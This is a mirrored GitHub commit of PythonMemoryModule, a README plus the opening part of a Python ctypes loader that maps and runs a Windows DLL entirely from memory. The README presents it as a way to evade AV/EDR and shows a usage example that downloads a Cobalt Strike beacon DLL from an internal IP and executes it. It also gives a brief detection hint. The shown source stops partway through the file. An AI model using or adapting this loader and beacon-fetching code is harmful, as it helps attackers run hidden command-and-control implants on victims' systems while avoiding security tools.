mirror of
https://github.com/naksyn/PythonMemoryModule
synced 2026-06-06 16:24:25 +00:00
Initial commit
Initial commit
This commit is contained in:
Binary file not shown.
|
After Width: | Height: | Size: 356 KiB |
@@ -1,2 +1,50 @@
|
||||
# PythonMemoryModule
|
||||
pure-python implementation of MemoryModule technique to load a dll entirely from memory
|
||||
|
||||
<p align="center">
|
||||
<img width="399" alt="immagine" src="https://user-images.githubusercontent.com/59816245/210533889-424707d3-2c82-4ca3-afaf-cc19857fa2d6.png">
|
||||
<br>
|
||||
"Python memory module" AI generated pic - hotpot.ai
|
||||
</p>
|
||||
|
||||
|
||||
|
||||
# What is it
|
||||
|
||||
PythonMemoryModule is a Python ctypes porting of the [MemoryModule](https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/) technique originally published by [Joachim Bauch](https://github.com/fancycode/MemoryModule). It can load a dll using Python without requiring the use of an external library (pyd).
|
||||
It leverages [pefile](https://github.com/erocarrera/pefile) to parse PE headers and ctypes.
|
||||
|
||||
The tool was originally thought to be used as a [Pyramid](https://github.com/naksyn/Pyramid/) module to provide evasion against AV/EDR by loading dll payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.
|
||||
|
||||
|
||||
# Why it can be useful
|
||||
|
||||
1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as [pymemorymodule](https://pypi.org/project/pymemorymodule/) bindings) that can be flagged by AV/EDRs or can raise user's suspicion.
|
||||
2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory.
|
||||
3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker.
|
||||
4. you can load a stageless payload dll without performing injection or code execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory.
|
||||
|
||||
# How to use it
|
||||
|
||||
In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.
|
||||
|
||||
```python
|
||||
import urllib.request
|
||||
import ctypes
|
||||
import pythonmemorymodule
|
||||
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
|
||||
result = urllib.request.urlopen(request)
|
||||
buf=result.read()
|
||||
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
|
||||
startDll = dll.get_proc_addr('StartW')
|
||||
assert startDll()
|
||||
#dll.free_library()
|
||||
```
|
||||
Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.
|
||||
|
||||

|
||||
|
||||
|
||||
# How to detect it
|
||||
|
||||
Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.
|
||||
|
||||
@@ -0,0 +1,862 @@
|
||||
#!/usr/bin/env python
|
||||
# encoding: utf-8
|
||||
"""
|
||||
Author: @naksyn (c) 2023
|
||||
Description: Python porting of MemoryModule technique
|
||||
Instructions: See README on https://github.com/naksyn/PythonMemoryModule
|
||||
Credits:
|
||||
- C language code and original technique by Joachim Bauch https://github.com/fancycode/MemoryModule
|
||||
- https://github.com/juntalis/memmodule
|
||||
|
||||
Copyright 2023
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
|
||||
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
||||
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
|
||||
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
|
||||
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
"""
|
||||
|
||||
from ctypes import *
|
||||
from ctypes.wintypes import *
|
||||
import pythonmemorymodule.pefile as pe
|
||||
|
||||
kernel32 = windll.kernel32
|
||||
|
||||
|
||||
# debug flag
|
||||
debug_output = __debug__
|
||||
|
||||
# system DLLs
|
||||
_kernel32 = WinDLL('kernel32')
|
||||
_msvcrt = CDLL('msvcrt')
|
||||
|
||||
# Check if the current machine is x64 or x86
|
||||
isx64 = sizeof(c_void_p) == sizeof(c_ulonglong)
|
||||
|
||||
# type declarations
|
||||
PWORD = POINTER(WORD)
|
||||
PDWORD = POINTER(DWORD)
|
||||
PHMODULE = POINTER(HMODULE)
|
||||
|
||||
LONG_PTR = c_longlong if isx64 else LONG
|
||||
ULONG_PTR2 = c_ulong
|
||||
ULONG_PTR = c_ulonglong if isx64 else DWORD
|
||||
UINT_PTR = c_ulonglong if isx64 else c_uint
|
||||
SIZE_T = ULONG_PTR
|
||||
POINTER_TYPE = ULONG_PTR
|
||||
POINTER_TYPE2 = ULONG_PTR2
|
||||
LP_POINTER_TYPE = POINTER(POINTER_TYPE)
|
||||
FARPROC = CFUNCTYPE(None)
|
||||
PFARPROC = POINTER(FARPROC)
|
||||
c_uchar_p = POINTER(c_ubyte)
|
||||
c_ushort_p = POINTER(c_ushort)
|
||||
|
||||
# Generic Constants
|
||||
NULL = 0
|
||||
|
||||
# Win32/Module-specific constants
|
||||
IMAGE_SIZEOF_SHORT_NAME = 8
|
||||
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
|
||||
IMAGE_SIZEOF_SECTION_HEADER = 40
|
||||
|
||||
# Struct declarations
|
||||
class IMAGE_SECTION_HEADER_MISC(Union):
|
||||
_fields_ = [
|
||||
('PhysicalAddress', DWORD),
|
||||
('VirtualSize', DWORD),
|
||||
]
|
||||
|
||||
|
||||
class IMAGE_SECTION_HEADER(Structure):
|
||||
_anonymous_ = ('Misc',)
|
||||
_fields_ = [
|
||||
('Name', BYTE * IMAGE_SIZEOF_SHORT_NAME),
|
||||
('Misc', IMAGE_SECTION_HEADER_MISC),
|
||||
('VirtualAddress', DWORD),
|
||||
('SizeOfRawData', DWORD),
|
||||
('PointerToRawData', DWORD),
|
||||
('PointerToRelocations', DWORD),
|
||||
('PointerToLinenumbers', DWORD),
|
||||
('NumberOfRelocations', WORD),
|
||||
('NumberOfLinenumbers', WORD),
|
||||
('Characteristics', DWORD),
|
||||
]
|
||||
|
||||
PIMAGE_SECTION_HEADER = POINTER(IMAGE_SECTION_HEADER)
|
||||
|
||||
|
||||
class IMAGE_DOS_HEADER(Structure):
|
||||
_fields_ = [
|
||||
('e_magic', WORD),
|
||||
('e_cblp', WORD),
|
||||
('e_cp', WORD),
|
||||
('e_crlc', WORD),
|
||||
('e_cparhdr', WORD),
|
||||
('e_minalloc', WORD),
|
||||
('e_maxalloc', WORD),
|
||||
('e_ss', WORD),
|
||||
('e_sp', WORD),
|
||||
('e_csum', WORD),
|
||||
('e_ip', WORD),
|
||||
('e_cs', WORD),
|
||||
('e_lfarlc', WORD),
|
||||
('e_ovno', WORD),
|
||||
('e_res', WORD * 4),
|
||||
('e_oemid', WORD),
|
||||
('e_oeminfo', WORD),
|
||||
('e_res2', WORD * 10),
|
||||
('e_lfanew', LONG),
|
||||
]
|
||||
|
||||
PIMAGE_DOS_HEADER = POINTER(IMAGE_DOS_HEADER)
|
||||
|
||||
''' ref: https://github.com/wine-mirror/wine/blob/master/include/winnt.h
|
||||
|
||||
typedef struct _IMAGE_TLS_DIRECTORY64 {
|
||||
ULONGLONG StartAddressOfRawData;
|
||||
ULONGLONG EndAddressOfRawData;
|
||||
ULONGLONG AddressOfIndex;
|
||||
ULONGLONG AddressOfCallBacks;
|
||||
DWORD SizeOfZeroFill;
|
||||
DWORD Characteristics;
|
||||
} IMAGE_TLS_DIRECTORY64, *PIMAGE_TLS_DIRECTORY64;
|
||||
|
||||
|
||||
typedef VOID (CALLBACK *PIMAGE_TLS_CALLBACK)(
|
||||
LPVOID DllHandle,DWORD Reason,LPVOID Reserved
|
||||
);
|
||||
'''
|
||||
|
||||
#ref: https://github.com/arizvisa/syringe/blob/1f0ea1f514426fd774903c70d03638ecd40a97c3/lib/pecoff/portable/tls.py
|
||||
|
||||
class IMAGE_TLS_CALLBACK(c_void_p):
|
||||
'''
|
||||
void NTAPI IMAGE_TLS_CALLBACK(PVOID DllHandle, DWORD Reason, PVOID Reserved)
|
||||
'''
|
||||
|
||||
PIMAGE_TLS_CALLBACK = POINTER(IMAGE_TLS_CALLBACK)
|
||||
|
||||
class IMAGE_TLS_DIRECTORY(Structure):
|
||||
_fields_ = [
|
||||
('StartAddressOfRawData', c_ulonglong),
|
||||
('EndAddressOfRawData', c_ulonglong),
|
||||
('AddressOfIndex', c_ulonglong),
|
||||
('AddressOfCallBacks', c_ulonglong),
|
||||
('SizeOfZeroFill', DWORD),
|
||||
('Characteristics', DWORD),
|
||||
]
|
||||
|
||||
PIMAGE_TLS_DIRECTORY = POINTER(IMAGE_TLS_DIRECTORY)
|
||||
|
||||
|
||||
|
||||
class IMAGE_DATA_DIRECTORY(Structure):
|
||||
_fields_ = [
|
||||
('VirtualAddress', DWORD),
|
||||
('Size', DWORD),
|
||||
]
|
||||
|
||||
PIMAGE_DATA_DIRECTORY = POINTER(IMAGE_DATA_DIRECTORY)
|
||||
|
||||
|
||||
class IMAGE_BASE_RELOCATION(Structure):
|
||||
_fields_ = [
|
||||
('VirtualAddress', DWORD),
|
||||
('SizeOfBlock', DWORD),
|
||||
]
|
||||
|
||||
PIMAGE_BASE_RELOCATION = POINTER(IMAGE_BASE_RELOCATION)
|
||||
|
||||
|
||||
class IMAGE_EXPORT_DIRECTORY(Structure):
|
||||
_fields_ = [
|
||||
('Characteristics', DWORD),
|
||||
('TimeDateStamp', DWORD),
|
||||
('MajorVersion', WORD),
|
||||
('MinorVersion', WORD),
|
||||
('Name', DWORD),
|
||||
('Base', DWORD),
|
||||
('NumberOfFunctions', DWORD),
|
||||
('NumberOfNames', DWORD),
|
||||
('AddressOfFunctions', DWORD),
|
||||
('AddressOfNames', DWORD),
|
||||
('AddressOfNamesOrdinals', DWORD),
|
||||
]
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY = POINTER(IMAGE_EXPORT_DIRECTORY)
|
||||
|
||||
|
||||
class IMAGE_IMPORT_DESCRIPTOR_START(Union):
|
||||
_fields_ = [
|
||||
('Characteristics', DWORD),
|
||||
('OriginalFirstThunk', DWORD),
|
||||
]
|
||||
|
||||
|
||||
class IMAGE_IMPORT_DESCRIPTOR(Structure):
|
||||
_anonymous_ = ('DUMMY',)
|
||||
_fields_ = [
|
||||
('DUMMY', IMAGE_IMPORT_DESCRIPTOR_START),
|
||||
('TimeDateStamp', DWORD),
|
||||
('ForwarderChain',DWORD),
|
||||
('Name', DWORD),
|
||||
('FirstThunk', DWORD),
|
||||
]
|
||||
|
||||
PIMAGE_IMPORT_DESCRIPTOR = POINTER(IMAGE_IMPORT_DESCRIPTOR)
|
||||
|
||||
|
||||
class IMAGE_IMPORT_BY_NAME(Structure):
|
||||
_fields_ = [
|
||||
('Hint', WORD),
|
||||
('Name', ARRAY(BYTE, 1)),
|
||||
]
|
||||
|
||||
PIMAGE_IMPORT_BY_NAME = POINTER(IMAGE_IMPORT_BY_NAME)
|
||||
|
||||
class IMAGE_OPTIONAL_HEADER(Structure):
|
||||
_fields_ = [
|
||||
('Magic', WORD),
|
||||
('MajorLinkerVersion', BYTE),
|
||||
('MinorLinkerVersion', BYTE),
|
||||
('SizeOfCode', DWORD),
|
||||
('SizeOfInitializedData', DWORD),
|
||||
('SizeOfUninitializedData', DWORD),
|
||||
('AddressOfEntryPoint', DWORD),
|
||||
('BaseOfCode', DWORD),
|
||||
('BaseOfData', DWORD),
|
||||
('ImageBase', POINTER_TYPE),
|
||||
('SectionAlignment', DWORD),
|
||||
('FileAlignment', DWORD),
|
||||
('MajorOperatingSystemVersion', WORD),
|
||||
('MinorOperatingSystemVersion', WORD),
|
||||
('MajorImageVersion', WORD),
|
||||
('MinorImageVersion', WORD),
|
||||
('MajorSubsystemVersion', WORD),
|
||||
('MinorSubsystemVersion', WORD),
|
||||
('Reserved1', DWORD),
|
||||
('SizeOfImage', DWORD),
|
||||
('SizeOfHeaders', DWORD),
|
||||
('CheckSum', DWORD),
|
||||
('Subsystem', WORD),
|
||||
('DllCharacteristics', WORD),
|
||||
('SizeOfStackReserve', POINTER_TYPE),
|
||||
('SizeOfStackCommit', POINTER_TYPE),
|
||||
('SizeOfHeapReserve', POINTER_TYPE),
|
||||
('SizeOfHeapCommit', POINTER_TYPE),
|
||||
('LoaderFlags', DWORD),
|
||||
('NumberOfRvaAndSizes', DWORD),
|
||||
('DataDirectory', IMAGE_DATA_DIRECTORY * IMAGE_NUMBEROF_DIRECTORY_ENTRIES),
|
||||
]
|
||||
|
||||
PIMAGE_OPTIONAL_HEADER = POINTER(IMAGE_OPTIONAL_HEADER)
|
||||
|
||||
|
||||
class IMAGE_FILE_HEADER(Structure):
|
||||
_fields_ = [
|
||||
('Machine', WORD),
|
||||
('NumberOfSections', WORD),
|
||||
('TimeDateStamp', DWORD),
|
||||
('PointerToSymbolTable', DWORD),
|
||||
('NumberOfSymbols', DWORD),
|
||||
('SizeOfOptionalHeader', WORD),
|
||||
('Characteristics', WORD),
|
||||
]
|
||||
|
||||
PIMAGE_FILE_HEADER = POINTER(IMAGE_FILE_HEADER)
|
||||
|
||||
|
||||
class IMAGE_NT_HEADERS(Structure):
|
||||
_fields_ = [
|
||||
('Signature', DWORD),
|
||||
('FileHeader', IMAGE_FILE_HEADER),
|
||||
('OptionalHeader', IMAGE_OPTIONAL_HEADER),
|
||||
]
|
||||
|
||||
PIMAGE_NT_HEADERS = POINTER(IMAGE_NT_HEADERS)
|
||||
|
||||
# Win32 API Function Prototypes
|
||||
VirtualAlloc = _kernel32.VirtualAlloc
|
||||
VirtualAlloc.restype = LPVOID
|
||||
VirtualAlloc.argtypes = [LPVOID, SIZE_T, DWORD, DWORD]
|
||||
|
||||
VirtualFree = _kernel32.VirtualFree
|
||||
VirtualFree.restype = BOOL
|
||||
VirtualFree.argtypes = [ LPVOID, SIZE_T, DWORD ]
|
||||
|
||||
VirtualProtect = _kernel32.VirtualProtect
|
||||
VirtualProtect.restype = BOOL
|
||||
VirtualProtect.argtypes = [ LPVOID, SIZE_T, DWORD, PDWORD ]
|
||||
|
||||
HeapAlloc = _kernel32.HeapAlloc
|
||||
HeapAlloc.restype = LPVOID
|
||||
HeapAlloc.argtypes = [ HANDLE, DWORD, SIZE_T ]
|
||||
|
||||
GetProcessHeap = _kernel32.GetProcessHeap
|
||||
GetProcessHeap.restype = HANDLE
|
||||
GetProcessHeap.argtypes = []
|
||||
|
||||
HeapFree = _kernel32.HeapFree
|
||||
HeapFree.restype = BOOL
|
||||
HeapFree.argtypes = [ HANDLE, DWORD, LPVOID ]
|
||||
|
||||
GetProcAddress = _kernel32.GetProcAddress
|
||||
GetProcAddress.restype = FARPROC
|
||||
GetProcAddress.argtypes = [HMODULE, LPCSTR]
|
||||
|
||||
LoadLibraryA = _kernel32.LoadLibraryA
|
||||
LoadLibraryA.restype = HMODULE
|
||||
LoadLibraryA.argtypes = [ LPCSTR ]
|
||||
|
||||
LoadLibraryW = _kernel32.LoadLibraryW
|
||||
LoadLibraryW.restype = HMODULE
|
||||
LoadLibraryW.argtypes = [ LPCWSTR ]
|
||||
|
||||
FreeLibrary = _kernel32.FreeLibrary
|
||||
FreeLibrary.restype = BOOL
|
||||
FreeLibrary.argtypes = [ HMODULE ]
|
||||
|
||||
IsBadReadPtr = _kernel32.IsBadReadPtr
|
||||
IsBadReadPtr.restype = BOOL
|
||||
IsBadReadPtr.argtypes = [ LPCVOID, UINT_PTR ]
|
||||
|
||||
realloc = _msvcrt.realloc
|
||||
realloc.restype = c_void_p
|
||||
realloc.argtypes = [ c_void_p, c_size_t ]
|
||||
|
||||
# Type declarations
|
||||
DllEntryProc = WINFUNCTYPE(BOOL, HINSTANCE, DWORD, LPVOID)
|
||||
PDllEntryProc = POINTER(DllEntryProc)
|
||||
TLSexecProc = WINFUNCTYPE(BOOL, HINSTANCE, DWORD, LPVOID)
|
||||
PTLSExecProc = POINTER(TLSexecProc)
|
||||
HMEMORYMODULE = HMODULE
|
||||
|
||||
# Constants
|
||||
MEM_COMMIT = 0x00001000
|
||||
MEM_DECOMMIT = 0x4000
|
||||
MEM_RELEASE = 0x8000
|
||||
MEM_RESERVE = 0x00002000
|
||||
MEM_FREE = 0x10000
|
||||
MEM_MAPPED = 0x40000
|
||||
MEM_RESET = 0x00080000
|
||||
|
||||
PAGE_NOACCESS = 0x01
|
||||
PAGE_READONLY = 0x02
|
||||
PAGE_READWRITE = 0x04
|
||||
PAGE_WRITECOPY = 0x08
|
||||
PAGE_EXECUTE = 0x10
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
PAGE_EXECUTE_WRITECOPY = 0x80
|
||||
PAGE_NOCACHE = 0x200
|
||||
|
||||
ProtectionFlags = ARRAY(ARRAY(ARRAY(c_int, 2), 2), 2)(
|
||||
(
|
||||
(PAGE_NOACCESS, PAGE_WRITECOPY),
|
||||
(PAGE_READONLY, PAGE_READWRITE),
|
||||
), (
|
||||
(PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY),
|
||||
(PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE),
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
IMAGE_SCN_MEM_EXECUTE = 0x20000000
|
||||
IMAGE_SCN_MEM_READ = 0x40000000
|
||||
IMAGE_SCN_MEM_WRITE = 0x80000000
|
||||
IMAGE_SCN_MEM_DISCARDABLE = 0x02000000
|
||||
IMAGE_SCN_MEM_NOT_CACHED = 0x04000000
|
||||
IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040
|
||||
IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080
|
||||
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
||||
IMAGE_DIRECTORY_ENTRY_IMPORT = 1
|
||||
IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
|
||||
IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_DEBUG = 6
|
||||
# IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7
|
||||
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7
|
||||
IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10
|
||||
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11
|
||||
IMAGE_DIRECTORY_ENTRY_IAT = 12
|
||||
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13
|
||||
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14
|
||||
|
||||
DLL_PROCESS_ATTACH = 1
|
||||
DLL_THREAD_ATTACH = 2
|
||||
DLL_THREAD_DETACH = 3
|
||||
DLL_PROCESS_DETACH = 0
|
||||
|
||||
INVALID_HANDLE_VALUE = -1
|
||||
|
||||
IMAGE_SIZEOF_BASE_RELOCATION = sizeof(IMAGE_BASE_RELOCATION)
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_HIGH = 1
|
||||
IMAGE_REL_BASED_LOW = 2
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
IMAGE_REL_BASED_HIGHADJ = 4
|
||||
IMAGE_REL_BASED_MIPS_JMPADDR = 5
|
||||
IMAGE_REL_BASED_MIPS_JMPADDR16 = 9
|
||||
IMAGE_REL_BASED_IA64_IMM64 = 9
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
|
||||
_IMAGE_ORDINAL_FLAG64 = 0x8000000000000000
|
||||
_IMAGE_ORDINAL_FLAG32 = 0x80000000
|
||||
_IMAGE_ORDINAL64 = lambda o: (o & 0xffff)
|
||||
_IMAGE_ORDINAL32 = lambda o: (o & 0xffff)
|
||||
_IMAGE_SNAP_BY_ORDINAL64 = lambda o: ((o & _IMAGE_ORDINAL_FLAG64) != 0)
|
||||
_IMAGE_SNAP_BY_ORDINAL32 = lambda o: ((o & _IMAGE_ORDINAL_FLAG32) != 0)
|
||||
IMAGE_ORDINAL = _IMAGE_ORDINAL64 if isx64 else _IMAGE_ORDINAL32
|
||||
IMAGE_SNAP_BY_ORDINAL = _IMAGE_SNAP_BY_ORDINAL64 if isx64 else _IMAGE_SNAP_BY_ORDINAL32
|
||||
IMAGE_ORDINAL_FLAG = _IMAGE_ORDINAL_FLAG64 if isx64 else _IMAGE_ORDINAL_FLAG32
|
||||
|
||||
IMAGE_DOS_SIGNATURE = 0x5A4D # MZ
|
||||
IMAGE_OS2_SIGNATURE = 0x454E # NE
|
||||
IMAGE_OS2_SIGNATURE_LE = 0x454C # LE
|
||||
IMAGE_VXD_SIGNATURE = 0x454C # LE
|
||||
IMAGE_NT_SIGNATURE = 0x00004550 # PE00
|
||||
|
||||
class MEMORYMODULE(Structure):
|
||||
_fields_ = [
|
||||
('headers', PIMAGE_NT_HEADERS),
|
||||
('codeBase', c_void_p),
|
||||
('modules', PHMODULE),
|
||||
('numModules', c_int),
|
||||
('initialized', c_int),
|
||||
]
|
||||
PMEMORYMODULE = POINTER(MEMORYMODULE)
|
||||
|
||||
def as_unsigned_buffer(sz=None, indata=None):
|
||||
if sz is None:
|
||||
if indata is None:
|
||||
raise Exception('Must specify initial data or a buffer size.')
|
||||
sz = len(indata)
|
||||
rtype = (c_ubyte * sz)
|
||||
if indata is None:
|
||||
return rtype
|
||||
else:
|
||||
tindata = type(indata)
|
||||
if tindata in [ int, int ]:
|
||||
return rtype.from_address(indata)
|
||||
elif tindata in [ c_void_p, DWORD, POINTER_TYPE ] or hasattr(indata, 'value') and type(indata.value) in [ int, int ]:
|
||||
return rtype.from_address(indata.value)
|
||||
else:
|
||||
return rtype.from_address(addressof(indata))
|
||||
|
||||
def create_unsigned_buffer(sz, indata):
|
||||
res = as_unsigned_buffer(sz)()
|
||||
for i, c in enumerate(indata):
|
||||
if type(c) in [ str, str, str ]:
|
||||
c = ord(c)
|
||||
res[i] = c
|
||||
return res
|
||||
|
||||
def getprocaddr(handle,func):
|
||||
kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p]
|
||||
kernel32.GetProcAddress.restype = c_void_p
|
||||
address = kernel32.GetProcAddress(handle, func)
|
||||
return address
|
||||
|
||||
class MemoryModule(pe.PE):
|
||||
|
||||
_foffsets_ = {}
|
||||
|
||||
def __init__(self, name = None, data = None, debug=False):
|
||||
self._debug_ = debug or debug_output
|
||||
pe.PE.__init__(self, name, data)
|
||||
self.load_module()
|
||||
|
||||
def dbg(self, msg, *args):
|
||||
if not self._debug_: return
|
||||
if len(args) > 0:
|
||||
msg = msg % tuple(args)
|
||||
print('DEBUG: %s' % msg)
|
||||
|
||||
def load_module(self):
|
||||
if not self.is_dll():
|
||||
raise WindowsError('The specified module does not appear to be a DLL.')
|
||||
if self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE and isx64:
|
||||
raise WindowsError('The dll you attempted to load appears to be an 32-bit DLL, but you are using a 64-bit version of Python.')
|
||||
elif self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE_PLUS and not isx64:
|
||||
raise WindowsError('The dll you attempted to load appears to be an 64-bit DLL, but you are using a 32-bit version of Python.')
|
||||
self._codebaseaddr = VirtualAlloc(
|
||||
self.OPTIONAL_HEADER.ImageBase, # To test relocations, add some values here i.e. +int(0x030000000)
|
||||
self.OPTIONAL_HEADER.SizeOfImage,
|
||||
MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
)
|
||||
|
||||
if not bool(self._codebaseaddr):
|
||||
self._codebaseaddr = VirtualAlloc(
|
||||
NULL,
|
||||
self.OPTIONAL_HEADER.SizeOfImage,
|
||||
MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
)
|
||||
if not bool(self._codebaseaddr):
|
||||
raise WindowsError('Cannot reserve memory')
|
||||
|
||||
codebase = self._codebaseaddr
|
||||
self.dbg('Reserved %d bytes for dll at address: 0x%x', self.OPTIONAL_HEADER.SizeOfImage, codebase)
|
||||
self.pythonmemorymodule = cast(HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)), PMEMORYMODULE)
|
||||
self.pythonmemorymodule.contents.codeBase = codebase
|
||||
self.pythonmemorymodule.contents.numModules = 0
|
||||
self.pythonmemorymodule.contents.modules = cast(NULL, PHMODULE)
|
||||
self.pythonmemorymodule.contents.initialized = 0
|
||||
|
||||
# Committing memory.
|
||||
VirtualAlloc(
|
||||
codebase,
|
||||
self.OPTIONAL_HEADER.SizeOfImage,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE
|
||||
)
|
||||
self._headersaddr = VirtualAlloc(
|
||||
codebase,
|
||||
self.OPTIONAL_HEADER.SizeOfHeaders,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE
|
||||
)
|
||||
if not bool(self._headersaddr):
|
||||
raise WindowsError('Could not commit memory for PE Headers!')
|
||||
|
||||
szheaders = self.DOS_HEADER.e_lfanew + self.OPTIONAL_HEADER.SizeOfHeaders
|
||||
tmpheaders = create_unsigned_buffer(szheaders, self.__data__[:szheaders])
|
||||
if not memmove(self._headersaddr, cast(tmpheaders, c_void_p), szheaders):
|
||||
raise RuntimeError('memmove failed')
|
||||
del tmpheaders
|
||||
|
||||
self._headersaddr += self.DOS_HEADER.e_lfanew
|
||||
self.pythonmemorymodule.contents.headers = cast(self._headersaddr, PIMAGE_NT_HEADERS)
|
||||
self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase = POINTER_TYPE(self._codebaseaddr)
|
||||
self.dbg('Copying sections to reserved memory block.')
|
||||
self.copy_sections()
|
||||
|
||||
|
||||
self.dbg('Checking for base relocations.')
|
||||
locationDelta = codebase - self.OPTIONAL_HEADER.ImageBase
|
||||
if locationDelta != 0:
|
||||
self.dbg('Detected relocations - Performing base relocations..')
|
||||
self.perform_base_relocations(locationDelta)
|
||||
|
||||
self.dbg('Building import table.')
|
||||
self.build_import_table()
|
||||
self.dbg('Finalizing sections.')
|
||||
self.finalize_sections()
|
||||
self.dbg('Executing TLS.')
|
||||
self.ExecuteTLS()
|
||||
|
||||
entryaddr = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.AddressOfEntryPoint
|
||||
self.dbg('Checking dll for entry point.')
|
||||
if entryaddr != 0:
|
||||
entryaddr += codebase
|
||||
self.dbg('Found entry at address: 0x%x', entryaddr)
|
||||
DllEntry = DllEntryProc(entryaddr)
|
||||
if not bool(DllEntry):
|
||||
self.free_library(self.pythonmemorymodule)
|
||||
raise WindowsError('dll has no entry point.\n')
|
||||
self.dbg("calling DllEntry with DLL_PROCESS_ATTACH")
|
||||
self.dbg('entryaddr address: 0x%x', entryaddr)
|
||||
try:
|
||||
success = DllEntry(codebase, DLL_PROCESS_ATTACH, 0)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
if not bool(success):
|
||||
self.free_library(self.pythonmemorymodule)
|
||||
raise WindowsError('dll could not be loaded.')
|
||||
self.pythonmemorymodule.contents.initialized = 1
|
||||
|
||||
def IMAGE_FIRST_SECTION(self):
|
||||
return self._headersaddr + IMAGE_NT_HEADERS.OptionalHeader.offset + self.FILE_HEADER.SizeOfOptionalHeader
|
||||
|
||||
def copy_sections(self):
|
||||
codebase = self._codebaseaddr
|
||||
sectionaddr = self.IMAGE_FIRST_SECTION()
|
||||
numSections = self.pythonmemorymodule.contents.headers.contents.FileHeader.NumberOfSections
|
||||
|
||||
for i in range(0, numSections):
|
||||
if self.sections[i].SizeOfRawData == 0:
|
||||
size = self.OPTIONAL_HEADER.SectionAlignment
|
||||
if size > 0:
|
||||
destBaseAddr = codebase + self.sections[i].VirtualAddress
|
||||
dest = VirtualAlloc(destBaseAddr, size, MEM_COMMIT, PAGE_READWRITE )
|
||||
self.sections[i].Misc_PhysicalAddress = dest
|
||||
memset(dest, 0, size)
|
||||
continue
|
||||
size = self.sections[i].SizeOfRawData
|
||||
dest = VirtualAlloc(codebase + self.sections[i].VirtualAddress, size, MEM_COMMIT, PAGE_READWRITE )
|
||||
if dest <=0:
|
||||
raise WindowsError('Error copying section no. %s to address: 0x%x',self.sections[i].Name.decode('utf-8'),dest)
|
||||
self.sections[i].Misc_PhysicalAddress = dest
|
||||
tmpdata = create_unsigned_buffer(size, self.__data__[self.sections[i].PointerToRawData:(self.sections[i].PointerToRawData+size)])
|
||||
if not memmove(dest, tmpdata, size):
|
||||
raise RuntimeError('memmove failed')
|
||||
del tmpdata
|
||||
self.dbg('Copied section no. %s to address: 0x%x', self.sections[i].Name.decode('utf-8'), dest)
|
||||
i += 1
|
